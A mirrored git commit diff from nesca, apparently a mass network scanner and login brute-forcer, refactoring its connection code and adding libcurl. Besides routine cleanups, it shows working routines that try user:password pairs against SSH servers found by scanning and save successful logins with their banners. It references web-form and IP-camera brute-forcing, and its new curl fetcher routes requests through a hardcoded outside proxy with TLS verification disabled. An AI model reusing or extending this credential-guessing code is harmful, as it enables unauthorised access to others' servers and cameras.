mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 18:52:19 +00:00
refactoring + curl
This commit is contained in:
parent
3afd6fc3ee
commit
e151f702c4
@ -8,10 +8,10 @@
|
||||
void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest)
|
||||
{
|
||||
ZeroMemory(dest, szDest);
|
||||
char *ptr1 = strstri(src, startStr);
|
||||
char *ptr1 = strstri((const char*)src, startStr);
|
||||
if(ptr1 != NULL)
|
||||
{
|
||||
char *ptr2 = strstri(ptr1, endStr);
|
||||
char *ptr2 = strstri((const char*)ptr1, endStr);
|
||||
if(ptr2 != NULL)
|
||||
{
|
||||
int szStartStr = strlen(startStr);
|
||||
@ -23,10 +23,10 @@ void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest
|
||||
void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest)
|
||||
{
|
||||
ZeroMemory(dest, szDest);
|
||||
char *ptr1 = strstri(src, startStr);
|
||||
char *ptr1 = strstri((const char*)src, startStr);
|
||||
if(ptr1 != NULL)
|
||||
{
|
||||
char *ptr2 = strstri(ptr1, endStr);
|
||||
char *ptr2 = strstri((const char*)ptr1, endStr);
|
||||
if(ptr2 != NULL)
|
||||
{
|
||||
int sz = ptr2 - ptr1;
|
||||
@ -117,10 +117,10 @@ int KeyCheckerMain()
|
||||
if(strstr(msg, "http://") != NULL)
|
||||
{
|
||||
t1 = strstr(msg, "http://");
|
||||
if(strstr((char*)(t1 + strlen("http://")), "/") != NULL)
|
||||
if(strstr((char*)(t1 + 7), "/") != NULL)
|
||||
{
|
||||
t2 = strstr((char*)(t1 + strlen("http://")), "/");
|
||||
int ln = t2 - t1 - strlen("http://");
|
||||
t2 = strstr((char*)(t1 + 7), "/");
|
||||
int ln = t2 - t1 - 7;
|
||||
if(ln > 64)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!");
|
||||
@ -128,7 +128,7 @@ int KeyCheckerMain()
|
||||
|
||||
return -1;
|
||||
}
|
||||
else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln);
|
||||
else strncpy(ndbServer, (char*)(t1 + 7), ln);
|
||||
|
||||
|
||||
if(strlen(t2) > 64)
|
||||
|
@ -5,12 +5,13 @@
|
||||
void DrawerTh_ME2Scanner::doEmitDrawTextPlacers()
|
||||
{
|
||||
emit dtME2->sDrawTextPlacers();
|
||||
};
|
||||
}
|
||||
|
||||
void DrawerTh_ME2Scanner::doEmitionAddPolyLine()
|
||||
{
|
||||
emit dtME2->sAddPolyLine();
|
||||
};
|
||||
}
|
||||
|
||||
void MakePolygonLine(int gWidth)
|
||||
{
|
||||
vect.clear();
|
||||
@ -120,7 +121,8 @@ void MakePolygonLine(int gWidth)
|
||||
Alive = 0;
|
||||
Susp = 0;
|
||||
vect.append(QPointF(gWidth, 20));
|
||||
};
|
||||
}
|
||||
|
||||
void DrawerTh_ME2Scanner::run()
|
||||
{
|
||||
int gWidth = ui->graphicLog->width();
|
||||
@ -144,6 +146,6 @@ void DrawerTh_ME2Scanner::run()
|
||||
Alive = 0;
|
||||
Susp = 0;
|
||||
};
|
||||
msleep(150);
|
||||
};
|
||||
msleep(120);
|
||||
};
|
||||
}
|
||||
|
165
connector.cpp
165
connector.cpp
@ -87,8 +87,7 @@ unsigned char tl(unsigned char d)
|
||||
{
|
||||
if(d >= 192 && d <= 223)
|
||||
{
|
||||
unsigned char y = d + 32;
|
||||
return y;
|
||||
return (unsigned char)(d + 32);
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -124,14 +123,8 @@ int recvWT(
|
||||
|
||||
std::string toLowerStr(const char *str)
|
||||
{
|
||||
if(str != NULL) {
|
||||
int tsz = strlen(str);
|
||||
if(tsz == 1)
|
||||
{
|
||||
if(str[0] == 10) return "[No data!]";
|
||||
else return str;
|
||||
}
|
||||
else if(tsz > 1)
|
||||
{
|
||||
char *strr = new char[tsz+1];
|
||||
ZeroMemory(strr, tsz);
|
||||
|
||||
@ -142,11 +135,33 @@ std::string toLowerStr(const char *str)
|
||||
|
||||
memset(strr + tsz, '\0', 1);
|
||||
|
||||
std::string tstr = strr;
|
||||
std::string tstr = std::string(strr);
|
||||
delete []strr;
|
||||
return tstr;
|
||||
};
|
||||
return "";
|
||||
} else return "";
|
||||
|
||||
// if(tsz == 1)
|
||||
// {
|
||||
// if(str[0] == 10) return "[No data!]";
|
||||
// else return str;
|
||||
// }
|
||||
// else if(tsz > 1)
|
||||
// {
|
||||
// char * strr = new char[tsz+1];
|
||||
// ZeroMemory(strr, tsz);
|
||||
|
||||
// for (int i = 0; i < tsz; i++)
|
||||
// {
|
||||
// strr[i] = tl(str[i]);
|
||||
// };
|
||||
|
||||
// memset(strr + tsz, '\0', 1);
|
||||
|
||||
// std::string tstr = strr;
|
||||
// delete []strr;
|
||||
// return tstr;
|
||||
// };
|
||||
// return "";
|
||||
}
|
||||
|
||||
int OpenConnection(SOCKET *sock, const char *hostname, int port)
|
||||
@ -1555,15 +1570,18 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
|
||||
if(iResult == SOCKET_ERROR)
|
||||
{
|
||||
iError = WSAGetLastError();
|
||||
if (iError == WSAEWOULDBLOCK)
|
||||
if (iError == WSAEWOULDBLOCK || iError == WSAEINPROGRESS)
|
||||
{
|
||||
fd_set read_fs;
|
||||
fd_set write_fs;
|
||||
FD_ZERO(&read_fs);
|
||||
FD_ZERO(&write_fs);
|
||||
FD_SET(sock, &read_fs);
|
||||
FD_SET(sock, &write_fs);
|
||||
timeval tv = { gTimeOut, 0 };
|
||||
|
||||
int oldErr = WSAGetLastError();
|
||||
iResult = select(sock + 1, NULL, &read_fs, NULL, &tv);
|
||||
iResult = select(sock + 1, &read_fs, &write_fs, NULL, &tv);
|
||||
|
||||
if (iResult == SOCKET_ERROR)
|
||||
{
|
||||
@ -1575,7 +1593,10 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!iResult) ++offlines;
|
||||
if (!iResult) {
|
||||
++offlines;
|
||||
stt->doEmitionFoundData(QString::number(WSAGetLastError()));
|
||||
}
|
||||
else
|
||||
{
|
||||
int sResult = send(sock, request, strlen(request), 0);
|
||||
@ -1686,9 +1707,9 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("[?!] Strange behavior detected - " +
|
||||
stt->doEmitionRedFoundData("[?!] Strange behavior detected (" +
|
||||
QString::number(WSAGetLastError()) +
|
||||
" - " + QString(ip) + ":" + QString::number(port));
|
||||
") " + QString(ip) + ":" + QString::number(port));
|
||||
};
|
||||
|
||||
CSSOCKET(sock);
|
||||
@ -1722,7 +1743,6 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
|
||||
};
|
||||
}
|
||||
|
||||
#pragma region WF
|
||||
lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal)
|
||||
{
|
||||
lopaStr lps;
|
||||
@ -2088,7 +2108,7 @@ char *_get_ssh_banner(char *ip, int port)
|
||||
return recvBuff;
|
||||
}
|
||||
|
||||
int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, conSTR *CSTR, char *banner)
|
||||
int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, std::string *buffer, char *banner)
|
||||
{
|
||||
int res = -1;
|
||||
if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port));
|
||||
@ -2096,27 +2116,18 @@ int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port,
|
||||
if(res == 0)
|
||||
{
|
||||
stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host));
|
||||
char goodStr[512] = {0};
|
||||
strcpy(goodStr, userPass);
|
||||
strcat(goodStr, "@");
|
||||
strcat(goodStr, host);
|
||||
strcat(goodStr, "|+|");
|
||||
strcat(goodStr, banner);
|
||||
int bsz = strlen(goodStr);
|
||||
CSTR->lowerBuff = new char[bsz + 1];
|
||||
ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff));
|
||||
CSTR->size = bsz;
|
||||
strncpy(CSTR->lowerBuff, goodStr, bsz);
|
||||
memset(CSTR->lowerBuff + bsz, '\0', 1);
|
||||
buffer->append(userPass);
|
||||
buffer->append("@");
|
||||
buffer->append(host);
|
||||
buffer->append("|+|");
|
||||
buffer->append(banner);
|
||||
return 0;
|
||||
};
|
||||
return res;
|
||||
}
|
||||
|
||||
int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner)
|
||||
int _EstablishSSHConnection(char *host, int port, std::string *buffer, char *banner)
|
||||
{
|
||||
CSTR->lowerBuff = NULL;
|
||||
CSTR->size = 0;
|
||||
char login[32] = {0};
|
||||
char pass[32] = {0};
|
||||
char temp[64] = {0};
|
||||
@ -2133,7 +2144,7 @@ int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner)
|
||||
sz = ptr1 - temp;
|
||||
strncpy(login, temp, sz);
|
||||
strcpy(pass, ptr1 + 1);
|
||||
res = check_ssh_pass(login, pass, temp, host, port, CSTR, banner);
|
||||
res = check_ssh_pass(login, pass, temp, host, port, buffer, banner);
|
||||
ZeroMemory(login, sizeof(login));
|
||||
ZeroMemory(pass, sizeof(pass));
|
||||
ZeroMemory(temp, sizeof(temp));
|
||||
@ -2157,7 +2168,6 @@ int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner)
|
||||
return -1;
|
||||
}
|
||||
|
||||
#pragma region IPCAMWeb
|
||||
int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector<char*> negVector)
|
||||
{
|
||||
char recvBuff[256] = {0};
|
||||
@ -2653,20 +2663,53 @@ int _pingMyTarget(char *ip)
|
||||
|
||||
QString strIP;
|
||||
QString strPort;
|
||||
const char *buff1 = "GET / HTTP/1.1\r\nHost: ";
|
||||
const char *buff2 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n\r\n";
|
||||
int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR)
|
||||
int Connector::_SSHLobby(char *ip, int port, std::string *buffer)
|
||||
{
|
||||
char banner[256] = {0};
|
||||
strncpy(banner, _get_ssh_banner(ip, port), 256);
|
||||
if(strlen(banner) > 0)
|
||||
{
|
||||
return _EstablishSSHConnection(ip, port, CSTR, banner);
|
||||
return _EstablishSSHConnection(ip, port, buffer, banner);
|
||||
};
|
||||
return -1;
|
||||
}
|
||||
|
||||
int Connector::_ConnectToPort(char *ip, const char *portC, char *hl)
|
||||
static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp)
|
||||
{
|
||||
((std::string*)userp)->append((char*)contents, size * nmemb);
|
||||
return size * nmemb;
|
||||
}
|
||||
|
||||
int nConnect(char *ip, int port, std::string *buffer){
|
||||
CURL *curl = curl_easy_init();
|
||||
|
||||
if (curl)
|
||||
{
|
||||
curl_easy_setopt(curl, CURLOPT_URL, ip);
|
||||
curl_easy_setopt(curl, CURLOPT_PORT, port);
|
||||
curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0");
|
||||
curl_easy_setopt(curl, CURLOPT_HEADER, 1L);
|
||||
curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L);
|
||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
|
||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
|
||||
curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru");
|
||||
curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128);
|
||||
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
|
||||
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
|
||||
|
||||
curl_easy_perform(curl);
|
||||
curl_easy_cleanup(curl);
|
||||
} else {
|
||||
stt->doEmitionRedFoundData("Curl error.");
|
||||
return -1;
|
||||
};
|
||||
return buffer->size();
|
||||
}
|
||||
|
||||
int Connector::_ConnectToPort(char *ip, int port, char *hl)
|
||||
{
|
||||
if(gPingNScan)
|
||||
{
|
||||
@ -2676,44 +2719,30 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl)
|
||||
};
|
||||
};
|
||||
|
||||
char mes[512] = {0};
|
||||
conSTR CSTR;
|
||||
CSTR.lowerBuff = NULL;
|
||||
CSTR.size = 0;
|
||||
std::string buffer = "";
|
||||
int size = 0;
|
||||
|
||||
strcpy(mes, buff1);
|
||||
strcat(mes, ip);
|
||||
int port = atoi(portC);
|
||||
if(port != 80){
|
||||
strcat(mes, ":");
|
||||
strcat(mes, portC);
|
||||
};
|
||||
strcat(mes, buff2);
|
||||
int cRes;
|
||||
if(port == 22) size = _SSHLobby(ip, port, &buffer);
|
||||
else size = nConnect(ip, port, &buffer);
|
||||
|
||||
if(port == 443) cRes = _EstablishSSLConnection(ip, port, mes, &CSTR);
|
||||
else if(port == 22) cRes = _SSHLobby(ip, port, &CSTR);
|
||||
else cRes = _EstablishConnection(ip, port, mes, &CSTR);
|
||||
int size = CSTR.size;
|
||||
|
||||
if(cRes == -2) return -2;
|
||||
|
||||
if(size > 0 && cRes != -1)
|
||||
if(size > 0)
|
||||
{
|
||||
++Alive;
|
||||
++found;
|
||||
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));
|
||||
|
||||
conSTR CSTR;
|
||||
CSTR.lowerBuff = new char[size + 1];
|
||||
CSTR.size = size;
|
||||
memcpy(CSTR.lowerBuff, buffer.c_str(), size);
|
||||
memset(CSTR.lowerBuff + size, '\0', 1);
|
||||
|
||||
Lexems lx;
|
||||
lx._filler(port, CSTR.lowerBuff, ip, size, &lx, hl);
|
||||
lx._filler(port, (char *)buffer.c_str(), ip, size, &lx, hl);
|
||||
|
||||
delete []CSTR.lowerBuff;
|
||||
CSTR.lowerBuff = NULL;
|
||||
};
|
||||
|
||||
if(CSTR.lowerBuff != NULL)
|
||||
{
|
||||
delete []CSTR.lowerBuff;
|
||||
CSTR.lowerBuff = NULL;
|
||||
};
|
||||
return 0;
|
||||
}
|
||||
|
@ -8,10 +8,11 @@ extern void BConInc();
|
||||
extern void BConDec();
|
||||
extern QString GetNSErrorDefinition(char *str, char *defin);
|
||||
extern void _SaveBackupToFile();
|
||||
extern char* strstri(char *_Str, const char *_SubStr);
|
||||
extern char* strstri(const char *_Str, const char *_SubStr);
|
||||
extern char* _getAttribute(char *str, char *attrib);
|
||||
extern char *_findFirst(char *str, char *delim);
|
||||
extern void nCleanup();
|
||||
extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest);
|
||||
extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest);
|
||||
extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage);
|
||||
extern int nConnect(char *ip, int port, std::string *buffer);
|
||||
|
88
finder.cpp
88
finder.cpp
@ -4,16 +4,17 @@
|
||||
#include "externFunctions.h"
|
||||
#include "externData.h"
|
||||
|
||||
char* strstri(char *_Str, const char *_SubStr)
|
||||
char* strstri(const char *_Str, const char *_SubStr)
|
||||
{
|
||||
if(_Str != NULL)
|
||||
{
|
||||
std::string _lowStr = toLowerStr(_Str);
|
||||
std::string _lowSubStr = toLowerStr(_SubStr);
|
||||
const std::string &_lowStr = toLowerStr(_Str);
|
||||
const std::string &_lowSubStr = toLowerStr(_SubStr);
|
||||
const char *resChar = strstr(_lowStr.c_str(), _lowSubStr.c_str());
|
||||
int offset = resChar - _lowStr.c_str();
|
||||
if(offset < 0) return NULL;
|
||||
else return (char*)(_Str + offset);
|
||||
if(resChar == 0) return NULL;
|
||||
else {
|
||||
return (char*)(_Str + (resChar - _lowStr.c_str()));
|
||||
}
|
||||
};
|
||||
return 0;
|
||||
}
|
||||
@ -50,73 +51,76 @@ char *_findLast(char *str, char *delim)
|
||||
return (char *)(str + savedPosition);
|
||||
}
|
||||
|
||||
|
||||
char *GetCodePage(char *str)
|
||||
{
|
||||
char cdpg[32] = {0};
|
||||
if(strstri(str, "<meta ") != NULL)
|
||||
{
|
||||
char *temp2 = strstri(str, "<meta ");
|
||||
char *ptr1 = strstri(str, "<meta ");
|
||||
|
||||
if(strstri((char *)(temp2 + strlen("<meta ")), "charset=") != NULL)
|
||||
if(ptr1 != NULL)
|
||||
{
|
||||
char *temp3 = strstri((char *)(temp2 + strlen("<meta ")), "charset=");
|
||||
char *temp4 = _findFirst((char *)(temp3 + strlen("charset=")), " \"'>\n\r");
|
||||
char *ptr2 = strstri(ptr1 + 6, "charset=");
|
||||
if(ptr2 != NULL)
|
||||
{
|
||||
char *temp4 = _findFirst((char *)(ptr2 + 6), " \"'>\n\r");
|
||||
if(temp4 != NULL)
|
||||
{
|
||||
int ln = (int)(temp4 - temp3 - strlen("charset="));
|
||||
int ln = (int)(temp4 - ptr2 - 8);
|
||||
if(ln > 16)
|
||||
{
|
||||
return "WTF?";
|
||||
};
|
||||
strncpy(cdpg, (char *)(temp3 + strlen("charset=")), (ln > 32) ? 32 : ln );
|
||||
strncpy(cdpg, (char *)(ptr2 + 8), (ln > 32) ? 32 : ln );
|
||||
if(strstri(cdpg, "%s") != NULL) return "UTF-8";
|
||||
return cdpg;
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
|
||||
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(ptr2).mid(0, 16) + "]");
|
||||
return "NULL";
|
||||
};
|
||||
}
|
||||
else if(strstri((char *)(temp2 + strlen("<meta ")), "charset = ") != NULL)
|
||||
|
||||
ptr2 = strstri(ptr1 + 6, "charset = ");
|
||||
if(ptr2 != NULL)
|
||||
{
|
||||
char *temp3 = strstri((char *)(temp2 + strlen("<meta ")), "charset = ");
|
||||
char *temp4 = _findFirst((char *)(temp3 + strlen("charset = ")), " \"'>\n\r");
|
||||
char *temp4 = _findFirst((char *)(ptr2 + 10), " \"'>\n\r");
|
||||
if(temp4 != NULL)
|
||||
{
|
||||
int ln = (int)(temp4 - temp3 - strlen("charset = "));
|
||||
int ln = (int)(temp4 - ptr2 - 10);
|
||||
if(ln > 16)
|
||||
{
|
||||
return "WTF?";
|
||||
};
|
||||
strncpy(cdpg, (char *)(temp3 + strlen("charset = ")), (ln > 32) ? 32 : ln );
|
||||
strncpy(cdpg, (char *)(ptr2 + 10), (ln > 32) ? 32 : ln );
|
||||
if(strstri(cdpg, "%s") != NULL) return "UTF-8";
|
||||
return cdpg;
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
|
||||
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(ptr2).mid(0, 16) + "]");
|
||||
return "NULL";
|
||||
};
|
||||
}
|
||||
else if(strstri((char *)(temp2 + strlen("<meta ")), "charset =") != NULL)
|
||||
|
||||
ptr2 = strstri(ptr1 + 6, "charset =");
|
||||
if(ptr2 != NULL)
|
||||
{
|
||||
char *temp3 = strstri((char *)(temp2 + strlen("<meta ")), "charset =");
|
||||
char *temp4 = _findFirst((char *)(temp3 + strlen("charset =")), " \"'>\n\r");
|
||||
char *temp4 = _findFirst((char *)(ptr2 + 9), " \"'>\n\r");
|
||||
if(temp4 != NULL)
|
||||
{
|
||||
int ln = (int)(temp4 - temp3 - strlen("charset ="));
|
||||
int ln = (int)(temp4 - ptr2 - 9);
|
||||
if(ln > 16)
|
||||
{
|
||||
return "WTF?";
|
||||
};
|
||||
strncpy(cdpg, (char *)(temp3 + strlen("charset =")), (ln > 32) ? 32 : ln );
|
||||
strncpy(cdpg, (char *)(ptr2 + 9), (ln > 32) ? 32 : ln );
|
||||
if(strstri(cdpg, "%s") != NULL) return "UTF-8";
|
||||
return cdpg;
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
|
||||
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(ptr2).mid(0, 16) + "]");
|
||||
return "NULL";
|
||||
};
|
||||
}
|
||||
@ -125,15 +129,15 @@ char *GetCodePage(char *str)
|
||||
if(strstri(str, "charset=") != NULL)
|
||||
{
|
||||
char *temp2 = strstri(str, "charset=");
|
||||
char *temp3 = _findFirst((char *)(temp2 + strlen("charset=")), " \"'>\n\r");
|
||||
char *temp3 = _findFirst((char *)(temp2 + 8), " \"'>\n\r");
|
||||
if(temp3 != NULL)
|
||||
{
|
||||
int ln = (int)(temp3 - temp2 - strlen("charset="));
|
||||
int ln = (int)(temp3 - temp2 - 8);
|
||||
if(ln > 16)
|
||||
{
|
||||
return "WTF?";
|
||||
};
|
||||
strncpy(cdpg, (char *)(temp2 + strlen("charset=")), (ln > 32) ? 32 : ln );
|
||||
strncpy(cdpg, (char *)(temp2 + 8), (ln > 32) ? 32 : ln );
|
||||
if(strstri(cdpg, "%s") != NULL) return "UTF-8";
|
||||
return cdpg;
|
||||
}
|
||||
@ -149,18 +153,19 @@ char *GetCodePage(char *str)
|
||||
};
|
||||
};
|
||||
}
|
||||
else if(strstri(str, "charset=") != NULL)
|
||||
|
||||
ptr1 = strstri(str, "charset=");
|
||||
if(ptr1 != NULL)
|
||||
{
|
||||
char *temp2 = strstri(str, "charset=");
|
||||
char *temp3 = _findFirst((char *)(temp2 + strlen("charset=")), " \"'\n\r");
|
||||
char *temp3 = _findFirst((char *)(ptr1 + 8), " \"'\n\r");
|
||||
if(temp3 != NULL)
|
||||
{
|
||||
int ln = (int)(temp3 - temp2 - strlen("charset="));
|
||||
int ln = (int)(temp3 - ptr1 - 8);
|
||||
if(ln > 16)
|
||||
{
|
||||
return "WTF?";
|
||||
};
|
||||
strncpy(cdpg, (char *)(temp2 + strlen("charset=")), (ln > 32) ? 32 : ln );
|
||||
strncpy(cdpg, (char *)(ptr1 + 8), (ln > 32) ? 32 : ln );
|
||||
if(strstri(cdpg, "%s") != NULL) return "UTF-8";
|
||||
return cdpg;
|
||||
}
|
||||
@ -440,7 +445,11 @@ int ContentFilter(char *buff, int port, char *ip, char *cp)
|
||||
}
|
||||
else
|
||||
{
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
tempString = toLowerStr(xcode(buff, CP_UTF8, CP_ACP).c_str());
|
||||
#else
|
||||
tempString = toLowerStr(buff);
|
||||
#endif
|
||||
};
|
||||
|
||||
int sz = tempString.size();
|
||||
@ -1518,13 +1527,11 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
|
||||
if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL)
|
||||
{
|
||||
Connector con;
|
||||
conSTR CSTR;
|
||||
CSTR.lowerBuff = NULL;
|
||||
CSTR.size = 0;
|
||||
int res = con._SSHLobby(ip, p, &CSTR);
|
||||
std::string sshBuff;
|
||||
int res = con._SSHLobby(ip, p, &sshBuff);
|
||||
if(res != -1 && res != -2)
|
||||
{
|
||||
_saveSSH(ip, p, recd, CSTR.lowerBuff);
|
||||
_saveSSH(ip, p, recd, (char*)sshBuff.c_str());
|
||||
};
|
||||
return -1;
|
||||
};
|
||||
@ -1590,7 +1597,6 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
|
||||
if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr);
|
||||
if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1;
|
||||
|
||||
#pragma region Fillers
|
||||
if(flag == 16)
|
||||
{
|
||||
Connector con;
|
||||
|
@ -3,6 +3,7 @@
|
||||
|
||||
#include <libssh/libssh.h>
|
||||
#include <openssl/ssl.h>
|
||||
#include <curl/curl.h>
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
#pragma once
|
||||
#include "iostream"
|
||||
@ -118,11 +119,12 @@ class Lexems
|
||||
{
|
||||
iterationCount = 0;
|
||||
flag = 0;
|
||||
};
|
||||
}
|
||||
|
||||
~Lexems()
|
||||
{
|
||||
iterationCount = 0;
|
||||
};
|
||||
}
|
||||
|
||||
int _header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector<std::string> *lst, char *rBuff);
|
||||
int _filler(int p, char *buffcpy, char* ipi, int recd, Lexems *lx, char *hl);
|
||||
@ -139,11 +141,11 @@ class Connector
|
||||
lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data);
|
||||
lopaStr _WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal);
|
||||
lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC);
|
||||
int _SSHLobby(char *ip, int port, conSTR *CSTR);
|
||||
int _SSHLobby(char *ip, int port, std::string *buffer);
|
||||
|
||||
int _EstablishConnection(char *ip, int port, char *request, conSTR *cstr, int force = 0);
|
||||
int _EstablishSSLConnection(char *ip, int port, char *request, conSTR *cstr);
|
||||
void _Connect(void *s);
|
||||
int _ConnectToPort(char *ip, const char *port, char *hl);
|
||||
int _ConnectToPort(char *ip, int port, char *hl);
|
||||
};
|
||||
|
||||
|
@ -77,3 +77,5 @@ unix|win32: LIBS += -lssh
|
||||
unix|win32: LIBS += -lcrypto
|
||||
|
||||
unix|win32: LIBS += -lpthread
|
||||
|
||||
unix|win32: LIBS += -lcurl
|
||||
|
85
nesca_3.cpp
85
nesca_3.cpp
@ -740,7 +740,7 @@ void nesca_3::slotAddPolyLine()
|
||||
{
|
||||
if(ME2ScanFlag)
|
||||
{
|
||||
double uu = 0;
|
||||
double uu = 0.0;
|
||||
QPainterPath path;
|
||||
if(vect.size() > 0)
|
||||
{
|
||||
@ -750,30 +750,23 @@ void nesca_3::slotAddPolyLine()
|
||||
path.lineTo(vect[i]);
|
||||
};
|
||||
};
|
||||
|
||||
QGraphicsPathItem* itm = new QGraphicsPathItem(path);
|
||||
|
||||
itm->setPen(pen2i);
|
||||
vectOld.push_front(itm);
|
||||
QGraphicsPathItem* itemN;
|
||||
for(int i = 0; i < vectOld.size(); ++i)
|
||||
int vSz = sceneGraph->items().size();
|
||||
for(int i = 0; i < vSz; ++i)
|
||||
{
|
||||
itemN = vectOld[i];
|
||||
sceneGraph->items()[i]->setY(u+i + 1);
|
||||
sceneGraph->items()[i]->setOpacity(1 - uu);
|
||||
uu+=0.027;
|
||||
u+=1;
|
||||
};
|
||||
sceneGraph->addItem(itm);
|
||||
|
||||
itemN->setY(u+i);
|
||||
itemN->setOpacity(1 - uu);
|
||||
uu+=0.04;
|
||||
sceneGraph->addItem(itemN);
|
||||
u+=2;
|
||||
};
|
||||
int maxPrnt = 30;
|
||||
while(vectOld.size() > maxPrnt)
|
||||
if(vSz == 50)
|
||||
{
|
||||
if(vectOld[maxPrnt] != 0)
|
||||
{
|
||||
sceneGraph->removeItem(vectOld[maxPrnt]);
|
||||
delete vectOld[maxPrnt];
|
||||
if(vectOld.size() > 0) vectOld.pop_back();
|
||||
};
|
||||
sceneGraph->items().pop_back();
|
||||
};
|
||||
if(u > 10) u = 1;
|
||||
};
|
||||
@ -1919,6 +1912,7 @@ void nesca_3::slotSaveImage(QAction *qwe)
|
||||
QObject *smB = this->sender();
|
||||
int ci = ui->tabMainWidget->currentIndex();
|
||||
QTime QT = QTime::currentTime();
|
||||
QString t("*.png");
|
||||
|
||||
if(smB == menuPS)
|
||||
{
|
||||
@ -1959,7 +1953,7 @@ void nesca_3::slotSaveImage(QAction *qwe)
|
||||
tr("Save image"),
|
||||
QDir::currentPath() + "/" + fn,
|
||||
".png",
|
||||
(QString*)&tr("*.png")
|
||||
&t
|
||||
);
|
||||
if (filename != "") pixmap.save(filename);
|
||||
}
|
||||
@ -1985,7 +1979,7 @@ void nesca_3::slotSaveImage(QAction *qwe)
|
||||
tr("Save image"),
|
||||
QDir::currentPath() + "/" + fn,
|
||||
".png",
|
||||
(QString*)&tr("*.png")
|
||||
&t
|
||||
);
|
||||
if (filename != "") pixmap.save(filename);
|
||||
};
|
||||
@ -3342,6 +3336,13 @@ void _startMsgCheck()
|
||||
mct->start();
|
||||
}
|
||||
|
||||
|
||||
static size_t WriteCallback(void *contents, size_t size, size_t nmemb, void *userp)
|
||||
{
|
||||
((std::string*)userp)->append((char*)contents, size * nmemb);
|
||||
return size * nmemb;
|
||||
}
|
||||
|
||||
nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
|
||||
{
|
||||
setWindowFlags ( Qt::FramelessWindowHint );
|
||||
@ -3413,6 +3414,48 @@ void _startMsgCheck()
|
||||
